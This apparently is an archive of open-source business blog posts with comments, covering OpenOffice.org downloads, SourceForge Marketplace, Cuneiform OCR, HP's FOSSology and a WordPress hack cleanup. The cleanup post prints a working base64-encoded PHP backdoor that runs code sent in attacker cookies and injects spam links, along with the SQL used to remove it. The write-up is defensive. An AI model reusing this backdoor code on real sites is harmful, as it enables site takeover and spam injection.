Open source VoIP programs could help to cut telephony costs, and I wish to bring to your attention a post, I happened to know thank to Amy S. Quinn, listing few open source VoIP programs (SIP Proxies, SIP Clients, H323 Clients, IAX Clients, PBX and IVR Platforms, Stacks and libraries).
The OpenOffice.org Italian Association is proud to announce that the Italian release of the world’s leading free and open source productivity suite has experienced a surge in demand for its software since the launch of OpenOffice.org 2.3 and with the follow-up Release 2.3.1.
OpenOffice.org experienced more than 1,000,000 downloads in less than five months, this put the Italian release of OpenOffice.org in a leading position in the worldwide office productivity application market.
Davide Dozza, Association’s President and Co-Maintainer of of the Italian Native-Lang Project, commented:
I’m very proud about this result. It demostrates that the community effort can yield amazing results, especially when such community is composed of eterogeneous and expert people.
How do you like Italian open source? 🙂
Update: Italo Vignoli, PLIO Marketing and Communication Manager, wrote:
Apologies. On September 18, 2007, while announcing OpenOffice.org 2.3 we boldly stated that during the following 6 months the software would have been downloaded by one million people.
At the time, it was a brave announcement, as the previous million of downloads took exactly nine months, from January 18 to September 17, 2007, and the total of the previous 30 days was a meager 116.405 downloads.
And, in fact, we were wrong, as it took only 151 days (i.e., four months and 28 days) to get to that threshold: on Friday the 15th of February, OpenOffice.org in italian got to 1.001.185 downloads, at a daily average of 6.742,82 since September 18.
Read his full post, is enlightening.
[tags] OpenOffice.org, openoffice, PLIO, DavideDozza[tags]
Hoorahh!!
This is a happy day 🙂
Indeed! 🙂
The 2008 Open Source Think Tank was a great chance to meet in person great people in the open source business community, a must for whom interested in professional networking.
On Friday I spent an evening chatting with Ross Turk, and I asked him to tell about SourceForge Marketplace state of the art.
The SourceForge.net Marketplace has been a very interesting experience. As you know (or may not know, actually), we wanted to start down this path with an implementation that was as flexible as
possible. We didn’t want the tool we provided to limit the creativity of its primary users, our community. We felt strongly that it was a better idea to simply provide the tool and watch how people use it, since they’d come up with far more creative uses than we could come up with ourselves.That said, what we released appears on the surface to be rather basic. Under the covers, there was a lot of effort put into some stuff that nearly nobody will ever see but the system can’t exist
without, so I don’t want to say it wasn’t a lot of work – but to the users, it’s a simple listing and transaction engine. Just about anything can be listed for sale, and almost any kind of transaction
can take place. There’s a flipside to that, though, because in order to get that flexibility as quickly as we did we’ve implemented mostly just the bare necessities. Even in retrospect, I think that was a good strategy, because almost immediately we began to learn things.First, we learned that people are interested in the idea. People are responding to it in pretty large numbers; growing numbers, in fact, and I think that’s good.
Second, we learned that there are a few types of transactions that people seem to want to do that our system doesn’t support. For example, people who want to sell services by the hour are working around the lack of that ability by creating listings for a single hour of service and dealing with the discrepancy in purchase price with the buyer directly. Adding the capability to have per-incident, per-hour, and per-project pricing would be useful to a lot of people.
Probably the most subtle thing we’re learning is how to balance the market-based nature of what we have built with the somewhat non-market tendencies of our community.
Some projects are happy to have their services prominently displayed, but I can imagine there are a few folks out there who would rather keep the suggestion of commerce as far away from them as possible. I think that our community has varying opinions on the commercialization of open source, which leads to the question: At what point does suggesting available services on the pages of an open source project stop providing value for that project? I think we’re learning where that line is.
Ross, what about the SourceForge Advisory Board? Â
There’s not a whole lot to say about the SourceForge Advisory Board yet, since not a lot has happened! In a nutshell, though, here’s the deal: we realized last year that, while we think we know about our business and our position in the open source ecosystem, there’s a good likelihood that we’re a bit too intimate with what we do to be as accurate on those things as we could be with a little help. We need an external group of people who understand what we are, what we should become, and what we should value.
Right now, we’re planning an initial kickoff meeting in California. I assumed that dealing with the travel logistics of an international advisory board would be a monster task, but I seriously underestimated the difficulty of just getting eleven people to agree on a date. 🙂 We’ll all know a little bit more about this topic once that happens, I think.
Ross I simply can’t wait to join you and the others, please keep me updated. All the best!
Hi Roberto,
Good post. IMO, Sourceforge Marketplace is a great innovation for open source. At the Think Tank, we heard a lot about how enterprise customers face a shortage of expertise and support options for their use of open source. What better way to address this problem than with the same grassroots, bottom-up style that has made open source successful all along? The Marketplace enables an open, peer-to-peer model of exchanging expertise. Anybody can put up their shingle, saying they are in business of offering support and services, and anybody can find them to procure those services. Nice work, Ross!
Dominic
Hi Dominic,
I believe you are right saying so, SourceForge Marketplace might greatly help users and potential customers to find professional support, especially for less known open source projects.
I will soon write about my personal take aways from the Open Source Think Tank, I see you just posted on the subject, well done!
Keep in touch Dominic,I would be really glad to help with OSA Europe.
OCR is one of the few markets that are not fully internationalized yet. An OCR that can decently process Cyrillic texts for now can only come from Russia. And there are no more than two at the moment: ABBYY FineReader and Cognitive Cuneiform.
Both trace their origins to the late Soviet-era government research projects that were commercialized in the nineties. However, Cuneiform started to lose its position in the consumer market by the end of the decade, then the application saw very little progress since 2000, and now it is generally unknown among end-users. Cognitive, who has by now shifted to systems integration market, has finally decided to open up Cuneiform, make it available as freeware immediately on a dedicated website and publish under an open source license in March, 2008.
What makes it interesting is that Cuneiform will be the second OCR system to be published as Open Source after years of development inactivity along with Tessaract published by HP in 2005. Thus, the market of Open Source OCR will quite unexpectedly become competitive.
The most probable idea behind the decisions of both Cognitive and HP is to put to work the unemployed resources so that they start producing at least minimal benefit. It looks like a simple ‘let’s see’ action, and no clear business model seems to be lying behind it.
But with the recent increase of interest of the Russian authorities in Free Software usage at middle schools, the demand for the liberated Cuneiform could become considerable. However, until the government’s plan to shift all schools to Free Software by 2009 is fulfilled at least partially, it is very difficult to say what this state-supported middle-school FOSS market will look like and what its rules will be. But if it comes to reality, Cognitive has all chances to be a player there by simply having used the available resources in a smart way at the right moment.
Ciao Egor,
I just search for OCR on ohloh, an open source network – that just went open source – aimed at providing visibility into FOSS development. I think you might sign up and become a contributor, promoting Cognitive as soon as it will be released as open source.
This is excellent news – I have no expertise in the Russian language and have been trying to do research on old propaganda posters in our library. Now I can try some digital translation tools on a few of the pamphelets I have around. Thanks so much for posting this!
Emily,
Glad to know it was helpful for you!
Very useful information for me. Thank you.
please send me OCR
I’m translating a book from Russian to English I want build a tools to do this for me. After having scanned all pages I will run this tool and watch it work it’s magic. This is great info. Thank you.
The HP’s announcement of the availability of FOSSology, an open source tool to track and monitor the use of FOSS within an organization, and FOSSBazaar, a community platform to discuss best practices related to the governance of FOSS, is getting public attention.
Martin Michlmayr, recently hired by HP to play the FOSSBazaar Community Manager, introduced me to Phil Robb – Engineering Section Manager in the Open Source and Linux Organization at HP – and I asked him more about the idea behind HP’s initiative.
HP see’s a lot of fear uncertainty and doubt about FOSS from too many of the customers we work with – said him during a gorgeous dinner here in Rome – the FUD is not in the developers, it’s in the other folks in these companies who are responsible for the governance of the corporate software assets.
The managers, legal team, procurement folks ,etc in HP have been working with FOSS a long time, and we are confident and comfortable with our use of FOSS and our support and participation in the community. We know there are other organizations like ours out there as well.
It is obvious to us that if we help to build a “general consensus” across the corporate world as to how to manage FOSS, then many more organizations will also be confident and comfortable with their use of FOSS and therefore it’s adoption and usage will grow (along with the FOSS community in general). We think this is a good thing for both FOSS and the corporate community.
If HP is recognized as a driving force behind this improved understanding of FOSS, then both the community and these corporate customers will look more favorably on HP, and our capabilities regarding FOSS than they have in the past. HP’s current reputation isn’t bad or negative, but it’s also not that well known. We want to improve that.
Is HP going to kill Black Duck and or Palamida businesses? Both Black Duck and Palamida are welcoming the initiative, and I believe that HP is in the position to add momentum to the use of open source software without affecting their business.
HP Open Source Health Check is a set of services HP is offering to its customers. Some of them are using the fixed-time fixed price formula, moving from the classical artisanship approach to an industrial way to deliver open source value. Others, like the Open Source Governance Assessment Service and the TCO Analysis Service, require a deep understanding of both closed and open source platforms in a variety of sectors, and sound pretty difficult to sell worldwide as a “productized service“.
Matt Asay stressed the fact that HP is not creating a proprietary product, but going open source is probably the only way to get people’s attention in short time, and partnering with many important firms – like Google, Novell and SourceForge just to name a few -for co-authoring FLOSSBazar’s content it is definitely a smart move.
Talking about FLOSSology, I am looking forward to see if now that Ohloh went open source it will eventually be included at same point. In the meantime I warmly suggest to insert either FLOSSology and FLOSSBazar on Savannah, considering that searching for Open Source Selection on google returns the Savannah’s entry for QSOS project as the very first result.
Last but not least helping medium to large customers to understand if, within commercial Linux distributions in use by their systems, there are components and modules not supported by the vendor could be a plus.
Am I right Phil?
About Phil Robb.
Phil Robb is Chairman, and General Manager of FOSSBazaar.org; a website and community dedicated to improving the governance and adoption of free and open source software within enterprises, institutions, and governments. Phil is also a section manager at Hewlett Packard leading their Open Source Programs Office. In that role Phil manages several product development teams focused on open source solutions and governance including the FOSSology project. Phil is also responsible for HP’s Open Source Review Board which is the governing body within HP for all open source software usage and deployment. Prior to joining HP in 2001, Phil held senior management and technical positions at Critical Path, Fisher Scientific, Motorola, and Honeywell-Bull. Phil received a Bachelor’s of Science degree in Management Information Systems from Bowling Green State University, and attended Colorado State University toward a Masters degree in Computer Science.
Hey Roberto! Thanks for writing about this story. Over here at SF.net, we’ve been talking with the FOSSology team for a while now, and we’re committed to helping them in any way we can. I’m actually looking forward to meeting them face-to-face during the upcoming season of trade shows to talk about our path forward.
I think that the location of open source code in a large, heterogeneous codebase is of high importance to everyone involved. From my perspective, this isn’t necessarily proof that companies should fear open source technology, as Dana Blankenhorn suggests (http://tinyurl.com/2xu8q9). This doesn’t have to be seen as an intrusion detection system for wicked alien code.
Instead, I think this should be seen as a tool that companies can use to be well-educated on the license requirements of any code they utilize, so they can respect them and act accordingly.
I also think it’s more than a little bit cool that open source code is of such tremendous usefulness that engineers are consistently taking advantage of it to “get the job done”…so much so that it compels business owners to consider the various legal implications. I believe, as Phil does, that providing tools to help business owners better understand just how valuable open source code is to their business will be a good community investment.
Thx,
Ross
Hi Ross,
it is always a pleasure to receive your feedback!
Dana is right saying that (medium to large) enterprises need their own internal network of engineers and programmers, but this can hardly be the first step. I see HP now offering services previously offered only by small open source firms, and that is good. The FOSS market need more momentum, and HP can greatly help the process, changing open source perception by large customers.
As I wrote I see also some space to offer value added services, license compliance it is just one of them.
HP just announced the availability of FOSSology, an open source tool that can be used to track and monitor the use of Open Source software within an organization. The main functionality made available at the moment is license detection, more features will be added in the next future.
At the Linux Meets Business conference held yesterday in Germany Christine Martino – Vice President Open Source and Linux Organization at HP – introduced also FOSSBazaar, a community platform to discuss best practices related to the governance of FOSS.
I had the chance to learn more about HP open source plans just last week, when Martin Mychlmayr invited me to talk with him, Phil Robb – Engineering Section Manager in the Open Source and Linux Organization at HP - and Bernard Marclay, FOSS Marketing Manager at HP.
HP wants to demonstrate its experience with FOSS Governance obtained in over 7 years for internal purposes, and it will be offering services related to FOSS Governance at large (e.g. defining open source policies, supporting the adoption process with its consulting division, etc).
As a matter of fact they are partnering with many actors. Doug Levin – Black Duck software CEO – made some public statements welcoming FOSSology’s introduction. Steven Grandchamp - OpenLogic CEO – asked to comment the announcement told me:
As a Strategic Sponsor of FOSSBazaar, OpenLogic is working with others to provide information and tools that help enterprises understand the issues around open source governance. Â Sharing our open source expertise, along with tools like OpenLogic’s OSS Discovery (which produces an inventory of open source being used) and HP’s FOSSology (which uncovers licenses in open source), will help enterprises leverage the significant financial benefits of open source software.
Also Stormy Peters is blogging on the matter, and others will come. While having dinner with HP people honestly I couldn’t come out with a firm’s name that they didn’t contact yet. We also spoke about the business side of the initiative, I will soon write on the matter.
The man behind the FOSSBazar community.Â
Martin, a known Debian developer and fellow researcher, is the man behind the FOSSBazar community. He is the FOSSBazaar Community Manager, and he will be working with partners to define content, help members to conduct valuable and interesting discussions and debates, and he will be joining conferences all over the world to promote the FOSSBazaar community.
I wish him all the best of luck!
About Martin Michlmayr.Â
Martin Michlmayr has been involved in various free and open source software projects for well over 10 years. He acted as the leader of the Debian project for two years. In this role, he performed important organizational and coordination tasks within Debian. Martin works for HP as an Open Source Community Expert and acts as the community manager of FOSSBazaar. Martin holds Master degrees in Philosophy, Psychology and Software Engineering, and earned a PhD from the University of Cambridge.
You are doing a great job telling about the people who stand behind the projects, and not just the project themselves. Such information makes a very valuable supplement to the official websites and news articles as it makes everything much more ‘realistic’ and understandable.
Having received your kind permission to translate some of your postings into Russian for INFO-FOSS.ru, we will be republishing this one in the international expert opinion section that we’re about to set up.
I have a more general request, though. As you know, I am currently a member of two teams: ALT Linux, which is the largest Free Software development company in Russia and INFO-FOSS.ru, which is an information project on Free Software and Open Standards targeted primarily at government public.
Both organisations are in need of cooperation with the international research community. As a member of ALT Linux, I would be happy to collaborate and share our experience on Free Software acquisition management in government contracts that we have gained in a series of research projects for the Ministry of Economy. As a member of INFO-FOSS.ru, I am interested in making the project part of the international research community and consequently move from borrowing information mostly from European publications to being involved in its production. There has been a number of FOSS-related developments in Russia recently, and I believe that such cooperation could become mutually beneficial.
I will highly appreciate any help from you side as even partial implementation of these wishes will be a major step forward!
Egor,
I am glad and honored to be published on INFO-FOSS.ru, please link to the original for comments and suggestions.
You might share your ALT Linux experiences with open source acquisition by public administrations with an international audience. If you wish so my blog is always open to your contributions, and you might get the attention of potential EC partners and eventually get info-foss.ru involved with FP7 and beyond.
Dear Egor,
I share with Roberto the wish to help in strengthening the ties between Russia and Europe on FOSS technologies and approaches. I would be happy to help in bridging the work done in the past (in the COSPA, SPIRIT, OpenTTT and FLOSSMETRICS projects) if it may be helpful, and learning from you and your experiences.
I am working on the new revision of our EU guide to OSS, and any addition and resource will be welcome.
Dear Carlo,
Thanks for your message! Yes, sharing your experience on these projects will be very helpful. There is not a little information gathered already, and I often feel myself in need of someone to guide me through.
I believe that it is the appropriate moment to make a summary of our achievements in an English presentation. Meanwhile, I will try to contact you via email.
Give a gift that really counts, the Italian OpenOffice.org Association suggests you a fantastic gift idea: OpenOffice!
Seagulls or penguins? I remember that normally penguins don’t fly.. by dsevilla
Need some original CD’s covers? Choose among the community’s ones.
Let’s fly with OpenOffice.org’s seagulls: use it, copy it and make it a present, it is legal!
Computer Business Review Italy and Next Value organized the conference “IT Governance: aligning and synchronizing IT with the business“, held in Milan on Tuesday. I was originally supposed to give a speech, entitled “Open Source Software Selection: the cost of free“, but I broke my foot and I couldn’t join the event.
Open source software selection costs are high, as results also from COSPA’s findings: up to 40% of migrations’ support costs, considering both searching for software and searching for documentation costs.
Finding and Selecting open source software is often an underestimate task. Only SourceForge guests about 150.000 different open source projects, and about 18.000 open source projects are mature and stable: eating fish from the open source sea is safe as long as they are not eaten raw.
In the “Finding and Selecting software” chapter The Guide for SMEs reports:
There are three separate steps that should be taken to successfully identify a set of FLOSS packages:
- identify your requirements
.- search for packages matching your functional requirements
- select the appropriate package from the list
The first step is an often overlooked activity, but is crucial for a successful adoption;
There are several important web sites that provide information on available software, both in an undifferentiated way (like SourceForge, that mainly acts as a project repository) and through detailed reviews and comparisons with proprietary software.
Forge based sites, like SourceForge, Savannah or gna.
Software announces sites, like FreshMeat or sourcewell.
Lists of software equivalents, like Osalt.
Once a set of potentially useful applications have been found, it is fundamental to evaluate between the various applications. This can be done applying the QSOS methodology [read the guide for a full description of the methodology].
Other useful tools I would mention to manage software selections are: Ohloh, included its new “Compare” function, to know about code, developers, languages and licenses. And also Google trends, to learn about how much is the know an open source product.
Firms offering “horizontal†support (SpikeSource, SourceLabs, OpenLogic Optaros), meaning companies that sell services not related only to a specific package but to a wide range of packages, are just addressing the OSS selection issue. And more will come, I believe.
While Open Source programs are all created equal (from a cost point of view), but some are more equal than others when you need them up and running in your own environment. Buy only fresh fish!
Two days ago a my Northern European friend Era after reading a post adviced me that my blog site have been silently owned by Search Engine spammers. Spam in blog is definitely not a new phenomenon, but I knew very little of spam injection before, and I hope my experience can help other WordPress users.
The problem was that a foreign div loads in the header “div id=goro“, and a list of spam links to various porn links. I asked my dear webbie to help me, and she put me in touch with Francesco Mosca, who actually fixed the problem as follows.
Within the theme’s page header.php, hacked using likely a wordpress 2.0.1 bug:
create_function('', get_option("blog_headers")); ?> [snipped code]<?php $wp_headers() ?>
Actually those lines of code were calling the code contained within the database in the blog_headers option (“wp_options” table, option_name = ‘blog_headers’):
611a2dee6df9249f21eb25f254b7f8f3611a2dee6df9249f21eb25f254b
7f8f3611a2dee6df9249f21eb25f254b7f8f3611a2dee6df9249f21eb25
f254b7f8f3611a2dee6df9249f21eb25f254b7f8f3*/ $c55375dba9d2f1867f4083acce95988dd=’Pz48P3BocAoJaWYoaXNzZX
QoJF9DT09LSUVbJ2F1dGgnXSkgJiYgJF9DT09LSUVbJ2F1dGgnXSA9PSAn
NjExYTJkZWU2ZGY5MjQ5ZjIxZWIyNWYyNTRiN2Y4ZjMnKSB7CgkJaWYgK
Glzc2V0KCRfQ09PS0lFWydzaG93X3Rlc3QnXSkpIHsKCQkJZWNobygiPFRF
U1RQQVNTPiIpOwoJCX0KCQkkaSA9IDA7ICRsaW4gPScnOwoJCXdoaWxlI
Chpc3NldCgkX0NPT0tJRVsnbGFzdGluJy4kaV0pKSB7CgkJCSRsaW4uPSAk
X0NPT0tJRVsnbGFzdGluJy4kaV07CgkJCSRpKys7CgkJfQoJCWlmKHN0cmx
lbigkbGluKT4wKSB7CgkJCWVjaG8oIjxsYXN0aW4+Ii5tZDUoJGxpbikuIjwvb
GFzdGluPjxleC1kYXRhPiIpOwoJCQkkbGluID0gcHJlZ19yZXBsYWNlKCcvXy
8nLCAnKycsICRsaW4pOwoJCQlldmFsKGJhc2U2NF9kZWNvZGUoJGxpbikpO
woJCQllY2hvKCI8L2V4LWRhdGE+Iik7CgkJCSRjb2RlID0gZ2V0X29wdGlvbig
nYmxvZ19oZWFkZXJzJyk7CgkJCWlmIChwcmVnX21hdGNoKCcvOTU5ODh
kZD1cJyguKj8pXCcvcycsICRjb2RlLCAkcmVncykpIHsKCQkJCWVjaG8oIjx2
ZXI+Ii5tZDUoJHJlZ3NbMV0pLiI8L3Zlcj4iKTsKCQkJfQoJCX0KCQlleGl0KCk7
Cgl9CgkkdGV4dCA9IGdldF9vcHRpb24oJ3JlY2VudGx5X2FkZGVkJyk7Cgkkd
WEgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CglpZiAoaXNzZXQ
oJHRleHQpICYmIHN0cmxlbigkdGV4dCk+MCAmJiAocHJlZ19tYXRjaCgnLyhib
3R8c3BpZGVyfHNsdXJwfGdvb2dsZXxleHBsb3JlcnxmaXJlZm94fG9wZXJhKS
9pJywgJHVhKSkpIHsKCQkJCSRycSA9ICRfU0VSVkVSWyJSRVFVRVNUX1VS
SSJdOwoJCQkJJHJzcyA9ICJyc3NfIi5tZDUoJHJxKTsKCQkJCSRzZWVkID0gd
W5zZXJpYWxpemUoYmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCRyc3MpKS
k7CgkJCQlpZiAoISRzZWVkKSB7CgkJCQkJZ2xvYmFsICR3cGRiOwoJCQkJCS
R3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdG
lvbl9uYW1lLCBvcHRpb25fdmFsdWUsIG9wdGlvbl9kZXNjcmlwdGlvbiwgYXV0
b2xvYWQpIFZBTFVFUyAoJyRyc3MnLCAnJywgJycsICd5ZXMnKSIpOwoJCQk
JCSRzZWVkID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBMQVNUX0lOU0VSVF9
JRCgpIik7CgkJCQkJdXBkYXRlX29wdGlvbigkcnNzLGJhc2U2NF9lbmNvZGUoc2
VyaWFsaXplKGFycmF5KCRzZWVkLCRycSkpKSk7CgkJCQl9IGVsc2UgewoJCQ
kJCSRzZWVkID0gJHNlZWRbMF07CgkJCQl9CgkJCQkkdGV4dCA9IGJhc2U2NF
+JHdjKSB7CgkJCQkJJHNlZWQtPSR3YzsKCQkJCX0KCQkJCWVjaG8gJzxkaXY
gaWQ9Imdvcm8iPic7CgkJCQllY2hvIGpvaW4oIiZuYnNwOyIsYXJyYXlfc2xpY2
UoJGEsJHNlZWQqMzAtMzAsMzApKTsKCQkJCWVjaG8gJzwvZGl2PjxzY3JpcHQ
gdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4nOwoJCQkJZWNobyAiZnVuY3Rpb24g
Z2V0bWUoc3RyKXsgdmFyIGlkeCA9IHN0ci5pbmRleE9mKCc/Jyk7IGlmIChpZHg
gPT0gLTEpIHJldHVybiBzdHI7IHZhciBsZW4gPSBzdHIubGVuZ3RoOyB2YXIgbm
V3X3N0ciA9ICcnOyB2YXIgaSA9IDE7IGZvciAoKytpZHg7IGlkeCA8IGxlbjsgaW
R4ICs9IDIsaSsrKXsgdmFyIGNoID0gcGFyc2VJbnQoc3RyLnN1YnN0cihpZHgsID
IpLCAxNik7IG5ld19zdHIgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoY2ggKyBp
KSAlIDI1Nik7IH0gZXZhbChuZXdfc3RyKTsgfSI7CgkJCQllY2hvICJnZXRtZSgna
HR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93
X2Fkcy5qcz82MzZENjA3MTY4NUY2NzZDMjU1RDVBNjgzODVFNTY1RDU0NUM
2MTJFNjQzMzREMTAwRTRENTQ1NjUyMDkwQTBFNTI1MjU2NDg0MDA4M0Q0
MTRBNDY0MTM1NEMwRkY4M0UzRTNDMzJGMzA2Jyk7IDwvc2NyaXB0PiI7Cgl
9Cgo/Pg==’;$e_ = error_reporting(0); eval(base64_decode($c55375dba9d2f1867f4083acce95988dd)); error_reporting($e_); return true;
Decoding it with base64_decode came out that such code calls an external javascript that pastes on the fly some spam links in the page, writing also in the option field strings of this form rss_
mysql> select option_value from wp_options where option_name =‘rss_fffbb7d85fc00f0c0d14abf4fde94ce3’;
+————————————+
| option_value
|+————————————+| YToyOntpOjA7czo0OiIxMTg3IjtpOjE7czoxODoiL3d3dy5tYW5kcml2YS5jb20vIjt9 |
+————————————+
Besides erasing the above mentioned lines from the header.php, you need also to erase blog_headers and ‘friends’ from the database:
delete from wp_options where option_name = ‘blog_headers’;delete from wp_options where option_name like ‘rss_%’ and option_namenot in (‘rss_language’,’rss_use_excerpt’,’ rss_excerpt_length’);
Find the offending goro spamware injection before google bans you from internet pipe. Amazingly as soon as I got it fixed my blog got its previous position.
Note: My blog is under repair these days, the old theme will soon be available, along with twitters and skype alert. Sorry about that.
Same on footer, same solution
You’re not alone in this. I found myself a victim of it after upgrading my WordPress to 2.3.x in December. Fortunately, I found someone else who had encountered it and their blog had some suggestions on how to deal with it. I blogged about the experience on my blog at http://gordon.dewis.ca/2008/01/06/expunging-the-wordpressnetin-spam-injection-hijack/
It’s amazing how many people are still affected by it.
Thanks for posting this. While a similar exploit only got my main blog, your post here really helped me know what to look for in the database. Combined with the WordPress 2.5.1 post over at WordPress.org, I was able to get this problem handled.
I guess that’ll teach me to keep my software up to date. I wonder how long it’ll take until I’m back on Technorati and Google Blogsearch.
Thanks again for your post.
I am really glad it helped you, when I got in troubles I felt really hopeless. As a matter of fact google has proven to be really fast to give my rank back, and I wish you best of luck with that.
Good article! your site let me learn more. Thanks!Pls keep up to date.
Thanks for posting this. Mine was hacked with the same hack on the 13th (yes friday). Not great luck for friday the 13th but this post gave me peace.
Hi, why don’t you activate the akismet spam? I have that kind of spam in few blog.
I do Joe, I do.
Very useful information for me. Thank you.
Most all blog hacks are from people not upgrading their blog software.
If you don’t make a ton of changes, just backup your template one time, then create or download a script to email you a database dumb every couple days.
Thanks for posting this. Mine was hacked with the same hack on the 13th (yes friday). Not great luck for friday the 13th but this post gave me peace.
Hello!
Very Interesting post! Thank you for such interesting resource!
PS: Sorry for my bad english, I’v just started to learn this language 😉
See you!
Your, Raiul Baztepo
I’ve been seeing a lot of chat lately on WordPress security problems. They are currently leading in the blog race, but will, for sure, start losing people unless they show some dramatic improvement very soon.
Sorry about your problems but glad you found a fast fix and we’re restored to your previous Google rank.
Graham
After the announcement of the integration with Facebook Alfresco made public that Alfresco Social Computing Platform – which integrates Alfresco with Adobe Flex, Facebook, iGoogle, MediaWiki, TypePad and WordPress – will be available for download by tomorrow on SourceForge.
While Alfresco is probably not the first open source projects to experiment with Facebook, John Newton – co-founder and Chief Technical Officer of Alfresco – believes that pushing for the expansion of social computing in the enterprise is an imperative. John on his “manifesto for Social Computing in the Enterprise” states:
The next generation of enterprise employees who started using the internet in their early teens have only known this evolving culture of free and creative development of the internet and now demand better of the enterprise software that they meet.
While I don’t know if every CTO should be on Facebook, as says Jon Williams at the New York CTO blog, I believe Seth Gottlieb‘s theory is correct:
most Intranets fail as social collaboration tools because they cannot capture the energy and passion that seems to form spontaneously on the web. And my theory goes on to assert that people do not invest their personal energy on their corporate intranet because they don’t own it.
John, why are you addressing Facebook audience?
In order for ECM to move from 10% that are specialists in a firm (compliance, doc control, regulatory, maintenance and web sites) to the 90% that need it to control out-of-control information on shared drives, it would need to introduce compelling user interfaces based upon social networking and social computing.
I think Alfresco did a great move addressing needs of the new generation of knowledge workers is enabling a new enterprise vision of social computing.
Last but not least Alfresco rather than building everything on its own is defining an architecture of participation based on Web Scripts Framework. Let’s see if it will eventually help them to foster their community.
Roberto Galoppini and 
kfke, 
RaiulBaztepo, and 10 others are discussing.
Reply